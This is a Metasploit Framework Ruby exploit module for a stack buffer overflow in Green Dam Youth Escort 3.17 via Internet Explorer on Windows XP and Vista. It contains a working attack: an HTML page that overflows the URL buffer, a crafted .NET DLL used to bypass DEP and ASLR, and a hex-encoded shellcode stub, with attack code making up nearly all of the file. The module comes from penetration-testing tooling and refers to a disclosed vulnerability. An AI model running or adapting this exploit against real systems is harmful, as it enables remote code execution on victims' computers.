Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

# greendam_url.rb

#

# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework

#

# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:

#  - Internet Explorer 6, Windows XP SP2

#  - Internet Explorer 7, Windows XP SP3

#  - Internet Explorer 7, Windows Vista SP1

#

# .NET binary is used to bypass DEP and ASLR

#

# Trancer

# http://www.rec-sec.com

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Green Dam URL Processing Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack-based buffer overflow in Green Dam Youth Escort

                                version 3.17 in the way it handles overly long URLs.

                                By setting an overly long URL, an attacker can overrun a buffer and execute

                                arbitrary code. This module uses the .NET DLL memory technique by Alexander

                                Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['OSVDB', '55126'],

                                        ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],                # Analysis of the Green Dam Censorware System

                                        ['URL', 'http://www.exploit-db.com/exploits/8938/'],                # Original exploit by seer[N.N.U]

                                        ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],        # .NET DLL memory technique

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 1000,

                                        'BadChars' => "\x00",

                                        'Compat'   =>

                                                {

                                                        'ConnectionType' => '-find',

                                                },

                                        'StackAdjustment' => -3500,

                                        # Temporary stub virtualalloc() + memcpy() payload to RWX page

                                        'PrependEncoder' =>

                                                "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+

                                                "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+

                                                "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+

                                                "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+

                                                "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+

                                                "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+

                                                "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+

                                                "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+

                                                "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+

                                                "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],

                                ],

                        'DisclosureDate' => 'Jun 11 2009',

                        'DefaultTarget'  => 0))

        end

        def on_request_uri(cli, request)

                ibase = 0x24240000

                vaddr = ibase + 0x2065

                if (request.uri.match(/\.dll$/i))

                        print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

                        return if ((p = regenerate_payload(cli)) == nil)

                        # First entry points to the table of pointers

                        vtable  = [ vaddr + 4 ].pack("V")

                        cbase   = ibase + 0x2065 + (256 * 4)

                        # Build a function table

                        255.times { vtable << [cbase].pack("V") }

                        # Append the shellcode

                        vtable << p.encoded

                        send_response(

                                cli,

                                Msf::Util::EXE.to_dotnetmem(ibase, vtable),

                                {

                                        'Content-Type' => 'application/x-msdownload',

                                        'Connection'   => 'close',

                                        'Pragma'       => 'no-cache'

                                }

                        )

                        return

                end

                print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

                j_function        = rand_text_alpha(rand(100)+1)

                j_url                = rand_text_alpha(rand(100)+1)

                j_counter        = rand_text_alpha(rand(30)+2)

                if ("/" == get_resource[-1,1])

                        dll_uri = get_resource[0, get_resource.length - 1]

                else

                        dll_uri = get_resource

                end

                dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"

                html = %Q|<html>

<head>

<script language="javascript">

        function #{j_function}() {

                var #{j_url}='';

                for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)

                        #{j_url}+='$';

                window.location=#{j_url}+'.html';

        }

</script>

</head>

<body onload="#{j_function}()">

        <object classid="#{dll_uri}#GenericControl">

        <object>

</body>

</html>

                |

                # Transmit the compressed response to the client

                send_response(cli, html, { 'Content-Type' => 'text/html' })

                # Handle the payload

                handler(cli)

        end

end